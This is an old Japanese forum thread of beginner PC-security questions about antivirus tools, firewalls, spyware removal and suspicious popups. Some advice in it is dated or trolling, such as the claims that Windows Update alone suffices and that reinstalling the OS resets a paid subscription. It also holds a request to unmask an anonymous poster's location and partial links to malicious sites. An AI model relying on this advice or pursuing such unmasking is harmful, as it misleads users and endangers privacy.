わかりました。どうもです。

その人は手当たり次第に色んなとこのコンピューターにちょっかい出してて、
たまたまそこの入り口に来た時に発見されて、寸前で遮断された。
その場合は、ノートンだと同じ相手からは30分は完全に通信を切られるので、
手段を変えない限り同じ方法ではやって来ない。ただ30分後に再発するかどうか
は分からない。

608
不安ならSnortというフリーのIDSをインストールするといい

ｺﾝﾋﾟｭｰﾀｰ管理者だけ全ての機能が使えなくなったのですが、ｳｲﾙｽやｽﾊﾟｲｳｪｱの可能性ありますかね

>>611
なるほど。つまり防御できたのですね。
いろいろわかりやすい事を書いてくれて勉強になります。

>>612
わかりました。調べてみます。

お二人とも、どうもありがとうございました。

>>608
ファイアーウォールで開けてもいないポートに侵入されるわけねえだろ
ノートンに騙されるんじゃねえよ
そのルールはサーバーポートを空けていて初めて生きてくる仕様だろうが
本当にウソツキ三昧だな

>>615
初めから開けておいて閉めて捨てるみたいなものですね。罠のようですね。
ありがとうございます。勉強になります。

ああ、放置されてる( ´；ω；)

このスレで、最新パッチ当ててれば、ウィルス対策ソフトなんか
いらないんだ、ゴラァって言っていた人がいたので、質問したのに…( ´；ω；)

みんな答えてくれないからアンチドートでスキャン、AntiVirでスキャンしました( ´；ω；)
感染してませんでした。( ´；ω；)

>>602
AntiVirを信じろ

本当になんにもわかんないの？
OS側でサービスやサーバーとして空けているポートがあるから、ファイアーウォールが必要なんだよ
外部からのアクセスだけを防ぐのが目的なら、
開けているポートが何にもないのなら、ファイアーウォールなんてなくてもいい
netstat -a -n で開いているポートを確認してみなよ
それらのポートへの外部からのアクセスを、遮断するのにファイアーウォールが必要なのよ

あとは、プロセスごとの通信アクセス規制のためだね

>>617
問題ない

質問です。
kingsoftインターネットセキュリティをイ
ンスコした後リアルプレイヤーを起動する
と勝手に閉じちゃうんだけど、どうしたら
いいですか？

>>617
感染さしてみたNOD32では反応がなかったがノートンで反応ありTrojan.ByteVerify

>>619
あー・・・。そうでした。
ついつい侵入検知システムばかり気にしていて、本業の方を忘れていました。

説明ありがとうございます。

>>622　アンチNOD活動おつかれですっ

>>624
URL踏んでから家

「試み」とちゃんと表示してるだろ　相手の環境知ってるのでもなければ
別にグチャグチャ言う必要はない。

624は今日もスレ荒らす一方で言い訳に必死な某キティだろう

NOD擁護したらみんなQとか猫とかそんなもん扱いかよ

まあこのスレ住人はみんな初心者のバカ素人だから程度低いのも仕方ない。

こんばんわ。
最近、変なメールが（Re:付きで）送信されてくるのですが
どれも似たような内容で、
「Please read the attached file.」
「Please have a look at the attached file.」
「See the attached file for details.」などといった感じの英文です。

ウィルスやスパイウェアなどに感染し
こちらが自動で送信してしまってるのかもと思い、
トレンドオンラインスキャンや
AVG、Ad-Aware、Hijackなどで全ドライブをスキャンしてみたのですが
今のところなにも引っかかりません。

果たして無視しても大丈夫なのでしょうか。

OSはMeで、普段はNortonパーソナルFWと
AVGを常駐させています。

>>630
誰か知り合いがトロイの木馬に感染してて送ってきてるんじゃないか？
発信元はどうなってる？

>>628-629
図星なら悔しいとか糞ったれと吠えててね　見苦しいのが分かりづらいので（ｐ

変なメールは公開されたアドレスを盗んで自動で送ってきたものだろ
今更発信元どうこうより、スパム対策を含めたセキュリティの防御に
努めるしかないんでは。

発信元は、どれも見知らぬアドレスからです。

どこかから自分のメアドが漏れて、そこに相手が
一方的に送って来てるだけなら
色々対策は立てられるのですが‥‥。

タイトルにRe:付きということは、返信で送られてるかもしれないので
こっちのPCがメールを送信してるのであれば、ちょっと心配です。

>>634
気にするな、禿げるぞ。

>>630
無視でOK。
タイトルは自由に決めれるからReなんて誰でも最初からつけることできる。
対策としては、振り分けるとかプロバの迷惑メール対策使うとか。
あとメールのReceivedヘッダからホストorIPはわかるから
興味があればぐぐってみるといい。

そうですか、どうもありがとう御座います！
これで安心して眠れます。
ストレスで禿げたら怖いので、深追いはしません。

こんな時間にありがとう御座いました。

すみませんIP関連についてです。

IPにはグローバルIPとプライベートIPが存在しますよね。
グローバルIPの理解はあるのですが。
プライベートIPについてイマイチわからない点があります。
プライベートIPは、個人を特定できないと大雑把な理解なのですが。
そのままではインターネットに接続できないともあります。
接続するには、e-WordsによるとグローバルIPが割り当てられた機器に仲介してもらう必要があるとの事です。

そこで、この仲介している機器のIPと、
プライベートIPでこの機器を仲介して接続するAさんのIPが解っているとして。(無論ポート番号なども)
外部からこのAさんのコンピュータをどのように特定しているのでしょうか？

>>638
それ通信技術板の方がよくない？
NATとかIPマスカレードとかその辺だと思うけど。

>>638
ルーターがアドレス変換して自分のアクセスとして、接続するんだよ
戻りパケットはHttpサーバーからのあて先のグローバルIPアドレスをルーターが憶えているから
ローカルIPアドレスに変換して返してやる

>>639,>>640
詳しくありがとうございます。
と言う事は、
プライベートIP環境でのサーバ構築(Httpdやその他サーバ)は、不可能である。
と断定してよろしいんですね、、

>>641
自宅鯖板でDDNSのことでも調べなされ。

俺も>>551のようなサイトを踏んでしまったんだが、なにも対策しなくても大丈夫だろうか？ウイルス対策ソフトでスキャンとスパイウェア検出ソフトでスキャンして
出てきたら駆除程度でいいかな・・・？OS再インスコか…orz

>>643
ウィルスというより破壊系サイト。
チェックディスクで「ファイルシステムエラーを〜」「不良セクタをスキャンし、〜」の
両方にチェックして検査汁。
なるべくなら再インスコを簡単にできる環境に整えといた方がいい。

　　　　　　　　　　　　　　　　　　　　　＿　＿＿＿
　　　　／￣￣￣￣＼,,　　　　　 ／−､ −､　　　 ＼
　　　/＿＿＿＿＿　　ヽ　　　 /　 |　 ・|・ 　| ､　　　 ＼
　　　| ─ ､ ─ ､ ヽ |　　|　　 / ／　`-●−′　＼ 　　 ヽ
　　　|　　・|・　　|─ |___/　　 |/ ──　|　 ── 　 ヽ　 　|
　　　|` - c`─ ′　 6 l　　　|.　──　|　 ──　 　 |　　 |
.　 　ヽ (＿＿＿_　　,-′　　 |　──　|　 ── 　 　 | 　 l
　　 　 ヽ ＿＿＿ ／ヽ　　 　 ヽ （＿＿|＿＿＿＿　 /　/
　　　 　／ |／＼／ l ＾ヽ　　　 ＼　　　　　　　　 　 /　/
　　　 　|　|　　　　 　|　　|　　　　 l━━（ｔ）━━━━┥

>>644
どうして破壊系ですか？
スクリプトでTelnetクライアントをガンガン起動するだけのブラクラですよ
それだって無限起動じゃなくて黙って見ていればその内に自然に終了する

バカが思考停止してるだけなのは不要

質問です。

去年購入したノートン・インターネットセキュリティの更新サービスが切れそうなんですが、
一回ＯＳを再インストールして、もう一度ノートンを入れなおしたら、また一年間使えますか？

６４８氏　
ウィルスセキュリティーなんて使わないで無料のAVGアンチウィルスでもつかえば？
後は自分でやれ

>>649さん

>>648の方法は可能でしょうか？
やっぱり不可能かな…。うわーん。

必ずできるとは限らないので明言できない。
あと649は例の荒らしで邪魔なだけなので無視してよし。

出来ないことはないと思うけど、ノートンなんか入れないでＡＶＧとゾーンアラームでもいれたら？

こんなこと聞かないとわかんないなら素直に金払えよ。
その程度の習熟度では、AVGもマトモに扱えないんじゃないかと思う。

>>651さん>>652さん

そうですか…、ありがとうございました。
うーん、やってみようかな。。

ご、ごめんなさい

ご、ごめんなさい

ご、ごめんなさい

>>648
当然使えるよ。疑問の余地なし。即やるべし。

おいおい

なんだくせえな。ゲスの臭いがぷんぷんするぜ

パソコン初心者でセキュリティに関して無知なのでAd-wareとウイルスバスター
2005をいれて定期的にチェックしてたのですが今日帰ってきて起動してみると
青色の背景でエラーごちゃごちゃかかれてて
ログインできなかったのでセーフモードを使ってログインしてみると
見知らぬユーザー名のアカウントができておりコンピューターの管理者に
なってました；；
インターネットを緊急ロック、アカウントにパスワードをかけてみる、
コンピューターの復元などをためしてみて
いまのとこ基の状態にもどったみたいなのですがなぜ知らないユーザーアカウント
できてたのか？防ぐことはできないか？おしえてもらえないでしょうか？

個人の勝手でageてしまうことを許してくださいどうしても早く対処したいので

sage進行じゃないし良いお

　 ∧＿∧
　（　´∀｀）　　／￣￣￣￣￣
　（　　　　）　＜　イベントビューアー見れば、ちっとは何か分かるかも。
　｜ ｜ ｜　　＼＿＿＿＿＿
　（_＿）___）

PFWの監視について教えてください。
オミトロンを通してネットに繋いだ場合、
PFWはアプリから送受信されるデータをどのように監視しているのでしょうか？
Ａ：アプリ→オミトロン→監視→外部
Ｂ：アプリ→監視→オミトロン→外部
Ｃ：ＰＦＷによって様々

アプリとオミトロンの間を監視しているのか、
それともオミトロンと外部の間を監視してるのか。
そういうことはPFWによって異なってしまうのでしょうか？
オミトロンと外部の間を監視なら、
何のデータが送受信されてるのかPFWが判断しないことには、
すべてオミトロンの送受信データということになってしまい駄々漏れなのでしょうか？

どうでもいいテキストファイルがトロイの木馬に感染したんだけど、
そのままごみ箱にポイしちゃ駄目なの？
ちゃんとセキュリティソフトで削除しないと大変な目にあう？

うわ、上の奴の質問を見てたら、
自分の質問のレベルの低さに嫌気が差してきた・・・

電話線とか電話機に細工をされてたらその電話線を
使ってネットした場合PCの覗き見って出来るのでしょうか？

>>666
だね。

>>666
削除していいのなら削除。ただごみ箱だと自由に元に戻せるので完全削除がいい。
残したい(かつ警告を無視して開ける)ならそれとわかる該当部分を削って保存し、警告が出なくなればOK。

>>664
Aだと思うよ

>>669
ありがとう。

Nullporceというウイルスに感染しちゃいました。デスクトップのアイコンが詰まってる
「遺失物保管庫セキュリティ強化型.zip」にパスがかかってるのですがどうしてもわかりません。
誰か教えてください（＞＜）

マルチ止めような。

>>664
ZoneAlarmとかはＡで駄々漏れだったはず。
OUTPOSTはルール付けでBにすることができたような？

>>664
こっちで聞いてみ。

【PFW】フリーファイアウォールベストスレPart4
http://pc8.2ch.net/test/read.cgi/sec/1125286046/

>>664
PFWは主にパケットを監視している。相手と情報をやり取りするとき
IPとかOS等の環境とか色々なものを交換している。そして「正しい」と
判断したとき、通過を許可する。
でもやり取りするデータの内容までは、精査していない。だから、ウィルスとか、
スパイウェアとか、ブラクラとか、バナー広告なんかも通過してしまう。

今日、オミトロン入れてみたけど、ソースコードの中の俺達にとっていらないものを
排除してブラウザに渡しているようだ。whileで書かれた無限ループとかバナー広告とかを
排除するみたいだよ。

で、Zone Alarmはしっかり、オミトロンの通信を監視してました。よって当方の環境ではAです。
オミトロンがIEに変わって通信してました。こういう機能を追加しすぎると、いずれ
avast!とZone Alarmみたいな不具合を起こすんじゃないかな

識者の方々、お知恵を拝借させて下され
妙なウイルス？をネットヲチ中に拾ってしまった様であります
win2000起動中に　ニコチャンマークで画面がいっぱいになって起動失敗
バスターでは何も検出できておりませぬ
正体をご存知の方、教えてやってくださいませ

どなたか教えてください。
通常のオーディオ機器でCDをかけるにはどうやってCDをつくればいいのですか？WAVファイルで作成ですか？

板違いでしたが、教えてください。すみません

どうやったら
学校の規制をとけるんですか？

>>678
ヒント【.iso】
あとはソフトウェア板池

＞＞６８１
ありごとうございます。感謝感謝

>>680
管理者にいえ。

専用のスレがある事をきちんと調べる前に書き込んでしまいました
スレ汚し失礼いたしましたM（＿　＿）M

>>677
なんか面白いウイルスだなｗ
そのウイルス本体または拾ったサイトが判明すればもっといいが。

>>685　氏
もうしわけないであります
適当にブログめぐりしていた際に喰らったもので
どのページかまでは特定できてはいないのです・・・

どうせエロサイトなんだろ？
スケベな男だなｗ

>>687　氏
ニュー速＋のスレ→痛いブログへのリンク→リンク先のリンクを漁る
と言う過程であります
得ろ意のは無かったであります

>>670　>>674　>>675　>>676
ありがとうございます。
PFWによってパターンがありそうで、
Zone Alarmはオミトロンの後に監視ですか。
OUTPOSTがルール付けでパターンＢにすることができるかもとのことなので、
>>675さんのスレで調べてみて聞いてみます。
ありがとうございました.。

上手く探せなかったので、教えて欲しいのですが
エグゼキュート・ディスエーブル・ビットの機能を使いたく無い場合、どこで無効化出来ますか？
設定弄るとこ、見つからなくて・・・

もうちょっと頑張って探してみよう

KL-Detector
http://dewasoft.com/privacy/kldetector.htm
をインストールしたんですが、働いているのかどうかわかりません。
これの使い方ってどうやるんですか？
インストールして、しばらくはタスクトレーにいたんですが、いつの間
にか姿を消しちゃいました。

>>692
簡単に説明すると、Logの出力先を視て自力でぬっころすみたい。
コンピューターについて十分な知識の無い人には使いこなせない物です。

自己解決しました、お騒がせしました。。

ノートン2005を使っているのですが、アウトブレーク警告で
「インターネット接続がないか、現在利用可能な情報がないので急速に
広がる脅威についての情報をアウトブレーク警告が表示できません。」
と出ます。どうすればよいのでしょうか？

>>693
早速のレスありがとうございます。
要するに、キーロガーのファイルの場所は教えてくれるけど、
後は自分で削除しなさいよって事ですか。こいつは常駐警備
はしてくれないんですよね。

>>696
そゆこと

>>695　今現在警報出すようなウイルスは無いということです
ウイルス定義更新が確実にできてても出てるので、今はそういう
状況だというの理解できるでしょ。

Au Agent exeとはｳｲﾙｽでしょうか?
よろしくお願いいたします

Webページとかにパスワードをつけて、
パスワードを知っている人しか見れないようにしたりできるじゃないですか？
あれについて尋ねたいのですが、
パスワードは大文字・小文字・数字を混ぜ合わせてれば、
パスワードを教えた人以外が、保護されたページを見れる可能性はかなり低いですかね？

ブルートフォース攻撃をされれば時間の問題なのかなと思ったのですが、
少しだけ調べてみたところ、フリーで公開されているソフトでは、辞書を用いた攻撃を行うものは結構あるのですが、
全ての文字の組み合わせを試みるものは見つかりませんでした。
そのため、パスワードをかけておけば結構秘密的なファイルを置くことも出来るかなと思ったのです。
ほんとにハッカーな人に狙われたならあきらめも付くのですが、フリーソフトにやられましたはとても辛いです。
もし、全ての文字の組み合わせを試すソフトが普通にあるなら、ある。と教えてください。
ネットに見られては困るものを置くのを止めようと思います。

----------------------------------------------------------
という質問を「インターネット質問専用スレpart１０ 」の889で、投稿したところ、
こちらのほうが良いのではないか、と同スレッドの890氏に指摘されました。
で、こちらにコピーを貼り付けました。

>>700
ある

　　　　　　　　　　　　　　　　　　　　　　　　　 ＿-=─=-
　　　　　　　　　　　　　　　　　　　　　 __-=≡///::　;;　''ヽ丶
　　　　　　　　　　　　　　　　　　　　／ 　 　　''　　~　　　　 ヾ:::::＼
　　　　　　　　　　　　　　　　　　　/　 　　　　　　　　　　　　 ＼:::::＼
　　　　　　　　　　　　　　　　　　　|　 　　　　　　　　　　　　　 彡::::::|
　　　　　　　　　　　　　　　　　　≡　 　　　　,　、　　　　　　　 |:::::::::|
　　　　　　　　　　　　　　　　　　≡ _≡＼、＿＿, -／-=≡=_ 、 |:;;;;;/
　　　　　　　　　　　　　　　　　　 | | ,ｰ〜　|　　　|　〜ー　|─´ /　＼　　　／￣￣￣￣￣￣￣￣￣
　　　　　　　　　　　　　　　　　　 | ヽ二＿,(　　　）＼＿二/　　 く６　/　＜　　おはよー w
　　　　　　　　　　　　　　　　　　/ 　　　/(　　　　　)ヽ　　　　　　|__/　　　＼＿＿＿＿＿＿＿＿＿＿
　　　　　　　　　　　　　　　　　.|　 　　/　　⌒｀´⌒　　　　　　　　）　|
　　　　　　　　　　　　　　　　　|　 　　　　　　　　　　　　　　／　　|　|
　　　　　　　　　　　　　　　　　（　　　　|＿／ヽ_'＼＿／　　　 　 ）　|
　　　　　　　　　　　　　　　　　.＼　　､ ＼￣　￣／ヽ　　　　　 /　/
　　　　　　　　　　　　　　　　　　 ＼　 　|　￣￣ 　　 ＿／／　/
　　　　　　　　　　　　　　　　　　　 ＼　 ヽ＿＿＿＿／　　　　／
　　　　　　　　　　　　　　　　　　　　　＼＿ ー─　　＿＿ ／
　　　　　　　　　　　　　　　　　　　　　　　＼＿＿＿_／

http://news19.2ch.net/test/read.cgi/newsplus/1130985853/
PHPに“最悪”のセキュリティ・ホール，全ユーザーは今すぐ対処を

↑これって、ただの閲覧者とかは特に対策しなくてもいいのですかね？

WINDOWSXPHOME1使用者ですがブラクラを踏んだとき（画面が増殖するタイプ）どうやって対処すればよいのでしょうか？パソコンの電源を落とす？

>>704
タブブラウザ使おう

そもそも踏まなきゃいいと思うんだが、そういう答えはだめなん？

>>706　そりゃそうなんですが・・・踏んだら即電源ボタン長押しできっているのですがこれでいいのかなぁ・・

>>707
お勧めはできないが、たまにならいいんじゃね＞電源長押し

つーか、困ってるんなら踏む前に調べる癖つけとけ。ブラクラチェッカーとか、手段はちゃんとあるんだから。
あとは>>705の言うとおりタブブラウザ使え。

>>704
@echo off
tskill iexplore
exit

クイックランチにショートカットを作る

>>707
ネットワークケーブル引っこ抜く。
ルータの電源切る。
CTRL-ALT-DELETEでシャットダウン。

>>695
以前、二つウイルスが入ってきたので「保護」されていたのですが
消滅したんでしょうか？

さっきなにげにnetstatしたら
TCP  **:4414  YahooBB221111011056.bbtec.net:8093  ESTABLISHED
 と出るのでタスクマネージャを見るとパのプレーオフ見ようと思ったけど全くつながらないために
削除したヤフーTVだかなんだかの残骸が見つかった。bbpromo.exeとかいう奴。
確かにアンインストールしたとき「完全に削除されていません」と出た記憶があるが、まさかこれで
個人情報や使用履歴見てたんじゃないだろうな...

PCを立ち上げたら　hajeloader　というウィンドウがタスクバーに入ってました。
タスクマネージャーでみてもそれらしいPGは見つからず閉じられません。
hajeloaderでググったところ、なぜか韓国語のサイトのみヒットで
訳をみるとスパイウェアっぽい内容でadware使って削除みたいな内容でした。
が、adwareを実行しても除去できてません。
マイナーそうなのでどうにもならないかもしれませんが
対処法をご存知の方がいらしたら教えてください。

>701
ありますか。
どうもありがとうございました。

>>713
hijackやってみ。

OS:windows2000SP4
ブラウザ:Netscape7.1
セキュリティソフト:ウイルスバスター2006

厨な質問かも知れないけれど、お願いします。
ウイルスバスターで手動検索したら以下のウイルスが見つかった。
「WORM_CODBOT.AH」
しかし残念ながら、隔離できないので手動で削除せよとのこと。
感染された（している）ファイルが
C:\WINNT\system32にある「spool.exe」らしいので
検索してみたが一切発見されず。存在しないのか？？
仕方がないので、トレンドマイクロのHPから上記ウイルスのデータ
を検索してみたが、これまたヒットせず。
これって...。
どうやれば、駆除できるんでしょうか？

>>702
ありがとうございました。

AntiVirus、AntiSpyといったソフトもマイクロソフトがOSに標準装備させるべきだ
当然、更新やVersionUP等も無料

>>713
ttp://cowscorpion.com/Antispy/SpywareDoctor.html
ttp://cowscorpion.com/Antispy/spysw.html
こういうので試すか、

ttp://www.higaitaisaku.com/menu5.htmlを読みながら頑張る

>>716
2000使ったことないからよく分からないんだけど

ディレクトリsystem32はそれほど大きくないので、「すべてのファイルを拡張子とともに表示する」ようにして
検索に頼らず探してみたら？

>>713

　 ∧＿∧
　（　´∀｀）　　／￣￣￣￣￣
　（　　　　）　＜ これ？
　｜ ｜ ｜　　＼＿＿＿＿＿
　（_＿）___）


http://www.file.net/process/a3p.exe.html

>>720
その方法で検索したんですよ。
でも見つからんかった。
似たような「spoolsv.exe」といったようなファイルは
あるんだけれど。

　 ∧＿∧
　（　´∀｀）　　／￣￣￣￣￣
　（　　　　）　＜ >>716　IRC BackDoor Trojan
　｜ ｜ ｜　　＼＿＿＿＿＿
　（_＿）___）

>>722
フォルダオプションで、隠しファイルを表示しない、にしてない？
全部表示する、にしておかないと、検索してもひっかからないよ。

　 ∧＿∧
　（　´∀｀）　　／￣￣￣￣￣
　（　　　　）　＜ >>702　ＳＧＩ (Soka Gakkai International)
　｜ ｜ ｜　　＼＿＿＿＿＿
　（_＿）___）

>>722
ちなみにウィルスデータ―ベースにも載ってないのな。はやくウィルス名統一して欲しい。

http://www.i-hacked.com/content/view/202/42/

というURLを訪れたところ、

Warning - Your computer may be infected with harmful spyware programs.
Immediate removeal may be required. To scan your computer, click "Yes" below.
"Yes" No

というWindowが表示されました。
このWindowにある"Yes"をクリックしても安全でしょうか？

環境は、
OS: Fedora Core 3
ブラウザ: Firefox 1.0.6
です。

>>724
もちろん、隠しファイル等を表示するようにしています。

>>723
ありがとうございます。
ちょっと調べてみます。

>>727
この手のものは
yes押したら変なものインストールされるんだろうなぁ・・・

>720です。

>>728
W32/sdbot.warmの亜種なのかな？　スティンガー置いておきますね。
ttp://www.mcafee.com/japan/security/stinger.asp

>>730
ありがとうございます。
試してみます。

↓踏んだら変なＤＯＳのウインドウみたいなのが立ち上がったんですが・・・
（慌てて閉じたのですがwww..？？？？.comみたいなアドレスが表示されてたような）
大丈夫でしょうか
スパイボットとトレンドのチェッカーでは何も出なかったのですが
素人丸出しスマソ
daylinewsって綴りで気づけよって感じですが・・・
−−−−−−−−−−−−−−−−−−−−−
名無しさん＠実況で競馬板アウト 2005/11/06(日) 15:12:37 ID:SH+BVA3M0

体重３７〜３８キロって小学生女児並だな。

本田美奈子さんが急性骨髄性白血病のため死去
p://daylinews.bravehost.com/Society/051106-00000107-kyodo-ent.html

>>715,>>719,>>721
サンクス
ハイジャック等を一通りやってみました。
が、まだ起動時にhajeloaderが立ち上がってます。
もう少し調べてみます。

行き詰って>>721を読み直してみたら
かなりやばそうな気がしてきた

　 ∧＿∧
　（　´∀｀）　　／￣￣￣￣￣
　（　　　　）　＜ >>733　a-Squared Hijack Freeなんてのもあるよ。
　｜ ｜ ｜　　＼＿＿＿＿＿
　（_＿）___）


以下はHijackThis Auto Analysis関連。一応ね。

http://hjt.iamnotageek.com/

http://hijackthis.de/

>>735
サンクス、両方チェックしましたがはっきりと怪しいのはありませんでした。
唯一はっきりしないものがアクティブXに1つあったのでFIXして再起動したところ、hajeloaderは起動しませんでした。
（関係あるのかな？）

うちのPCには　a3p.exe というファイルが　C:\Windows\System32　にあって
説明を見ると韓国語で応用プログラムとかいてあります。
>>721　によるとウィンドウズのシステムファイルでもコアなファイルでもないとあるので
もとからあるファイルではなく、さくっと削除してもいいのか迷ってます。（関連ソフトが動かなくなってもいいので）
どうも原因はアホな妹が韓国ブームでHPを見た、ソフトをインスコした、あたりと思われます。

>>732
bravehostは、NGワードに入れておくことをすすめるよ。
telnetストームブラクラ、ウィルス、ウンコ画像、トロイ、いいことなんか一つもない。

いろいろ調べたところ、
韓国のCCCDをPCで流すとCD内のプレイヤーがa3p.exeをC:\Windows\System32に作り、
それがウィンドウ上ではhajeloaderという名称で
しかもなぜかたまに起動時に立ち上がる、
さらにa3p.exeはスパイウェアとしても使われるのでびびった、という結果でした。
教えてくださった方、ありがとうございました。

>>738
たぶん、もう来ないかもしれないから、適当に質問するんだけど、
アプリケーションの追加と削除からは消せないの？　やっぱり。
インストール監視のソフトなんかを使って消せればいいな、と思ってさ。

チラシの裏
ウィルスなんかよりスパイウェアのほうが怖くなった。
これじゃあHijack Thisが完全に使い物にならなく日が来るな…。

　 ∧＿∧
　（　´∀｀）　　／￣￣￣￣￣
　（　　　　）　＜　おぉ、そうなの。
　｜ ｜ ｜　　＼＿＿＿＿＿
　（_＿）___）

あっ、そう言えば、漏れもたまにBugs利用するな。

↑
>>738

hotmailの強化されたセキュリティでサインインしようとしたんですが画面で表示されない部分がでます。
手続きしないとできないんですか？
セキュリティはここだと思ったんだがスレ違いならスマン。

>>742
ネットサービス板か、そこにいいのがなければインターネット板でHotmailスレ探してみて。
http://pc8.2ch.net/test/read.cgi/esite/1128251676/
http://pc8.2ch.net/test/read.cgi/internet/1108826800/
この２つのどっちかかな？

>>743
親切にありがとう。
聞いてみます

これからセキュリティ対策を始めようとした場合に
定番（必須）となる対策は何ですか？
またセキュリティ状態をチェックするツールで定番なのは何ですか？

>>745
WindowsUpdate以外必要ない。exeなどを開かなければな。

>>746
アンチウィルスソフトもか？

ウィンドウズXP　SP2
ノートンインターネットセキュリティー2004を使っています
スパイウェア対策にAd-Aware SE PersonalとSpywareBlasterを使っています
IEでサイトを見ていたところWinFixer2005というものをインストールするように
ポップアップが出てきました
慌ててインターネット回線を抜いてインストールしないように済みました
履歴に残ったアドレスを
http://pc8.2ch.net/test/read.cgi/hack/1131164828/
このスレの>>16で質問させて頂きました
回答していただきそれで解決かと思ったんですがさっきまたポップアップしてきました
tp://www.7walker.com/
ここのサイトを見ていると出てきました
１度目はこのサイトを見ているときにポップアップ
２度目はこのサイトを開いて別のサイトを見ているときにポップアップしてきました
何故ポップアップしてくるのでしょうか
解決方法を教えてください

あぼーん

投稿天国

Meです。
Window UpDateでもらえる、「外部からの攻撃・・」
のソフトだけでは対策は不十分なんでしょうか。

すいません。Windows UpDateです。

ＺＡ入れたのですが何もブロックしません・・・・
こういう事あるんでしょうか？...
CATVです

>>753
全部ルーター側で遮断しているから

>>753
何を根拠にしていっているのかわからない。
なぜそう思ったのか書いて下さい。

スタートアップにKernelFault Checkってのがいつの間にか登録されてた。
どうやらスパイウェアっぽいんだけどググっても英語ページばっかでよくわからん。
対処方法きぼん

　 ∧＿∧
　（　´∀｀）　　／￣￣￣￣￣
　（　　　　）　＜　>>753
　｜ ｜ ｜　　＼＿＿＿＿＿
　（_＿）___）

FWの肝であるフィルタドライバが稼動しなくなってるのでは。
だから、スタートアップにKernelFault Checkが入ってるのでは。

質問です。よろしく願います。

アンチウィルスソフトはファイルだけじゃなく、レジストリの改変まで検査してくれてるんでしょうか？
ていうかしてなければ意味が無いと思うんです。
レジストリを改変した後に実行ファイルを消すウィルスがあったら対応できないですよね？
実行ファイルさえ無ければウィルスは活動できない、という理論なら
そもそもアンチウィルスソフトなんて意味無いわけですし。
変な事言っていたらすいません。

age

　 ∧＿∧
　（　´∀｀）　　／￣￣￣￣￣
　（　　　　）　＜　>>758
　｜ ｜ ｜　　＼＿＿＿＿＿
　（_＿）___）

よく対策ページには、レジストリエントリを改変された場合の修正の方法が出てるじゃん。
最近のアンチウイルスは、Signature+Behaviorが主流なんじゃない。

モナーうざい

ノートン入れてるんですが…
リモートプログラムがこのコンピュータにアクセスしようとしています。
と言うメッセジーが良くでるんすが、どのように対処したらいいですか？
このリモートプログラムはウィルスなんでしょうか？
ちなみにウィルス検査にはひっかかりません。

>>761
答えもしないのに「モナーうざい 」だけしか言わないお前のほうがウザイ

>>760
どーもです、調べで見ます。

ありゃ…誤爆した。

>>756
GoogleでKernelFault Checkをキーワードとして検索した英語のサイト（とスペイン語のサイト）を
半分くらい見た限り原因を突き止めたサイトはない。
私見：
次の条件をすべて満たすなら放置。
1.　PCを再起動して現象が頻繁には再現しない。
2.　複数のスパイウェア検出ソフト（最新版）を走らせても検出しない。
3.　複数のウィルス検出ソフト（最新版）を走らせても検出しない。
4.　あなたのコンピュータ生活に支障をきたさない。

5　皮が剥けたままになっている

>>766
ﾚｽｻﾝｸｽ。
結構ヤバメなこと書いてあったから実はもうHijackThisでFixしちゃったんだよね。
バックアップ取ってあるし、いまんとこ問題ないみたいだけどなんなんだろうな。

>>768
ふーん。fix出来たのか。比較的良心的なスパイウェアだったのな。

>>758
ウイルスの動作を監視しているから結果的にレジストリの書き換えが防げるだけです。
つまり未対応、未検知のウイルスがあれば無条件で書き換えられますね。
それを防ぎたいのなら別途レジストリモニタでも常駐させた方がいいですよ。
アンチウイルスとは別の機能としてレジストリモニタを付属させているアンチウイルスもありますけど。

お前らの中にケータイ掲示板の書き込みから機種、（できれば住んでる地域とかの個人情報）がわかる香具師はいるか？
俺の友達が名前出されていろいろ悪口かかれて困っているんだ。
すまんが力を貸してくれるやついたら連絡をくれ

捨てアド晒しとくから本当に頼む。
【[email protected]】

どこの掲示板だよ

http://bbs6.cgiboy.com/bbs.cgi?ID=5R0950395&oya=113134945055O
に書き込んでるってやつのです
できますか？

bhsv.exeとはどんなウィルスでしか？また、ウィルスバスターでどうやれば駆除できますか。

そんなこと　すぐに分かったら　俺達神様だよ

携帯のメール履歴ってハッキングされるものなのでしょうか？
誰と何時にメールをしたとかが、言ってないのに知られてたりします・・・
怖いです・・・どうか誰か教えてください

>>774
Rbot
リカバリ推奨。

すいません>>748をお願いします

ゾンビPCとなってしまった後で、セキュリティソフトを使っても遅いとあったが、
修復できなくてもウイルスが入っている事くらいはわかるのでしょうか？

わかる。

すいません　KernelFault Check　というのをはずすにはどうすればいいんでしょうか？汗

754さん　猫さん宜しくお願いします

http://to-rmt.com

>>781
猫さんﾜﾛﾀ

>>748
ttp://www.higaitaisaku.com/
で、手順をきちんと踏んで、掲示板で相談してみて下さい。
丁度、WinFixerの情報を収集中です。
誘導された旨も(某巨大掲示板とでも書けばわかるはず)ね。

txtに偽装された.exeを誤ってダブルクリックしてしまいました。
avast!、Bitdiffenderで.exeを調べてもウイルス反応なしなんですが、大丈夫でしょうか？

>>785
もうだめでしょう

>>711
流行が去ったらリストからは取り除いてる
ウイルス辞典に載ってるから別にいいのでは。

>>785
avast!、BitdiffendeなどのFreeで検出できないウイルスがあるからこそ
NOD32やノートンなど他のワクチンソフトが売れているわけで。

いますぐ体験版をインストして駆除しなされ。

>>788
んじゃどんなウイルスでも全て検出する製品を教えてもらおうか

>>748

　 ∧＿∧
　（　´∀｀）　　／￣￣￣￣￣
　（　　　　）　＜　Ewido Security Suiteでも使ってみて。
　｜ ｜ ｜　　＼＿＿＿＿＿
　（_＿）___）

すいません　KernelFault Check　というのをはずすにはどうすればいいんでしょうか？汗

754さん　猫さん宜しくお願いします

>>791
ttp://www.higaitaisaku.com/hijackthis.html

>>789
　　　　　　 ,-┐
　,ｨ─､ri´^-─- ､ .┌f^f^f^f^f^f^f^f^f^┐
く　　/ ,　,'　　 ヽ　ヽ|　~ ~ ~ ~ ~ ~ ~ ~ ~│
　`<' / ,'ﾚｲ+tVvヽ!ヽﾄ　知ってるが　　│
　　!/ ,' i |' {］　, [}|ヽﾘ 　お前の態度が |
　　`!_{ iﾊﾄ､__iﾌ,ノリ,ｎ 　 気に入らない |
　　 ／/ (^~￣￣∃_ア____n＿＿＿＿＿|
　_r''‐〈　 `´ｱ/ﾄr──!,.--'
<＿>─}､　　`」ﾚ
'ヽ､　　 ,.ﾍｰｧtｲ
　　 Y､.,___/　 |.|
　 　 |　　i `ｰ'i´

>>781

　 ∧＿∧
　（　´∀｀）　　／￣￣￣￣￣
　（　　　　）　＜　スマソ、ZAの人と混同してた。
　｜ ｜ ｜　　＼＿＿＿＿＿
　（_＿）___）

